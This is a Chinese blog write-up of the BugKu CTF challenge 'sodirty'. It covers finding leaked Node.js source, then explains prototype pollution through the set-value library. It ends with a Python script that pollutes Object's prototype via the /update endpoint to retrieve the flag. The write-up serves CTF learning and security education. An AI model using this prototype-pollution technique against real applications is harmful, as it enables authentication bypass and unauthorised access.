侧边栏壁纸
  • 累计撰写 47 篇文章
  • 累计创建 22 个标签
  • 累计收到 27 条评论

目 录CONTENT

文章目录

BUGCTF-sodirty解法

vchopin
2023-08-03 / 0 评论 / 0 点赞 / 164 阅读 / 3,835 字

1. 原题

链接:https://ctf.bugku.com/challenges/detail/id/181.html?id=181&page=1
image

开启场景后进入一个网页,特点:

  • 只有两个页面:\index和\reg
  • index页面有点击进入reg页面的链接

2. 过程

进入这个题啊,一样的刷题思路,先看源代码,再看网络,再看请求头,发现都很白,都很朴素,高端的题总是采用最朴素的编码方式。

确认什么都没有之后,用dirsearch扫目录,一下就扫出一点东西了:
dirsearch扫描结果

竟然有个www.zip,那不是妥妥的提示吗?直接一手curl两秒下载下来。打开一看,是一个nodejs的前端包。
www.zip文件内容

直接挨个翻一下,看看有什么提示,根据经验来说,重要的文件应该是在routesviews里面,看了views里面是一个错误处理的文件。routes里面有个index.js,看名字就很关键。贴一下大概代码:

var express = require('express');
const setFn = require('set-value');
var router = express.Router();


const Admin = {
    "password":process.env.password?process.env.password:"password"
}


router.post("/getflag", function (req, res, next) {
    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
        res.send("登录失败");
    }else{
        if(req.session.challenger.age > 79){
            res.send("糟老头子坏滴很");
        }
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密码错误,请使用管理员用户名登录.");
        }
    }

});
router.get('/reg', function (req, res, next) {
    req.session.challenger = {
        "username": "user",
        "password": "pass",
        "age": 80
    }
    res.send("用户创建成功!");
});

router.get('/', function (req, res, next) {
    res.redirect('index');
});
router.get('/index', function (req, res, next) {
    res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
        res.redirect('/reg');
    }else{
        if (req.body.attrkey === undefined || req.body.attrval === undefined) {
            res.send("传参有误");
        }else {
            let key = req.body.attrkey.toString();
            let value = req.body.attrval.toString();
            setFn(req.session.challenger, key, value);
            res.send("修改成功");
        }
    }
});

module.exports = router;

大概理一下逻辑:

  1. 要对/getflag路径进行post并且要满足一定的条件,实现代码吐出process.env.flag
  2. 可以使用/update修改req.session.challenger这个变量中的数据
  3. 使用/reg初始化req.session.challenger数据

其实后面几步都比较简单,挨个调用对应的网页链接就可以了,最重要的一步应该是:

if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密码错误,请使用管理员用户名登录.");
        }

这里的Admin是一个对象,其属性只有password,而且我们还不知道这个password是多少。

总结需要解决的问题:

  • 设置req.session.challenger中的age小于79
  • 获取Admin[key]
    那怎么解决呢?

3. 思路

仔细看update函数,其能够使用setFn对req.session.challenger修改属性值

let key = req.body.attrkey.toString();
let value = req.body.attrval.toString();
setFn(req.session.challenger, key, value);
res.send("修改成功");

因此解决第一个修改age的问题。

第二个问题怎么查看得到Admin的内容呢?

关键在于SetFn函数,这个函数能够修改对象的属性,但对象有一个特殊的属性叫__proto__指向了这个对象的原型。怎么理解原型呢?我的理解是类似于一个模板类,用面向对象的说法来说类似于抽象类,通过这个类实例化的对象具有相同的属性和方法。

怎么利用这一点?很明显,这里的 req.session.challenger是一个对象,其原型是Object,巧的是Admin也是一样的对象,并且其原型也是Object。那么我们可以通过修改或增加Object的属性,从而使得Admin也具有相同的属性值,这就是原型链污染。
具体原型链污染的原理可以参考:https://www.cnblogs.com/chengzp/p/prototype.html

那么我们对应的思路就出来了:

  • 先访问/reg方法,初始化req.session.challenger
  • 通过/update方法修改req.session.challenger.age的值,让其小于79
  • 通过/update方法进行原型链污染,修改或增加Admin的属性

4. 实现

通过上述思路,我们进行对应的代码实现(当然也可以使用bp)如下:

import requests

url = 'http://114.67.175.224:16911/'

s = requests.Session()
s.get(url+'reg')

data = {
    'attrkey':'__proto__.vchopin',
    'attrval':'password'
}
data1 = {
    'attrkey':'age',
    'attrval':'60'
}
resp = s.post(url+'update', data=data)
print('1 succ', resp.text)
resp  =s.post(url + 'update', data = data1)
print('2 succ', resp.text)
data2 = {
    'key':'vchopin',
    'password':'password'
}
resp = s.post(url + 'getflag', data = data2)
print(resp.text)

通过运行脚本,就能够得到最后的flag
image-1701759419143

4.1 提示

  1. 使用jsonform都可以,但是json要加上对应的content-type
  2. 不要直接修改原型的password,因为修改的时候Admin已经初始化完成,其password属性已经被赋值,不能直接从Object中继承,可以用一个其他的,比如我这里的vchopin,保证最后/getflag的时候上传对应的key就可以了。

参考

  1. https://www.cnblogs.com/chengzp/p/prototype.html
0

评论区